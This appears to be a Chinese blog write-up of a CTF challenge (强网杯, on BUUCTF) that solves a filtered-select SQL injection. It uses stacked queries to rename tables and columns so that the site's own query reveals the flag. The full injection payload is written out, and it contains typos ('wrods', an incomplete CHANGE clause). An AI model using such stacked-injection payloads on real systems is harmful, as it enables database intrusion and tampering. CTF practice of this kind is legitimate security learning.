记录强网杯堆叠注入的一道题目

BUUCTF中一道SQL注入的题目,按正常思路做,到第三步的时候发现select被过滤了

 按照以往的方式,盲注报错注入等方式已经不适用了,尝试bypass无果,好像都要和select扯上关系,这便引出了堆叠注入的应用。

尝试用堆叠注入查询所有数据库,执行成功

直接查询当前数据库的表,判断words表是我们应该查询的表

 查询words表,发现其中的内容都没啥用

 之前还有一个一大串数字的表,查询发现无回显。

 像是这种一长串的表名,需要在外面加一个反引号``,果然查询到一个名为flag的列

 答案已经近在咫尺了,但是对方过滤了select,我么无法直接查询到flag

虽然我们上传不了select,但是对方本身是有select查询语法的

在当前页面有个与数据库交互的操作。id=1,2,3

那么这里是从word表里面进行查询

前面说过,我们可以通过堆叠注入进行增删改查,那么此时我们可以把1919810931114514改为words表,然后添加id参数,再把原来的words给改为其他

讲白了就是占别人的窝

OK 开始

mysql里修改表名的操作:

把默认的 words 改为 ww

        ALTER TABLE words RENAME TO word22;

把1919810931114514改为words

        ALTER TABLE `1919810931114514` RENAME TO words;

往words表里新增一个字段 id

        ALTER TABLE wrods ADD id int(10) DEFAULT '12';

修改word里面flag为data

        ALTER TABLE words CHANGE flag data VARCHAR(100);

然后把以上语句进行堆叠

1';rename table words to word22;rename table `1919810931114514` to words;ALTER TABLE wrods ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data

将该语句执行后,再次搜索 12 即可查询到 flag 内容。但是要注意一点,上面的步骤不能一行一行的执行,要堆叠后一次全部执行掉,否则对words表改名后系统将无法执行查询功能,你就再也无法得到flag了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值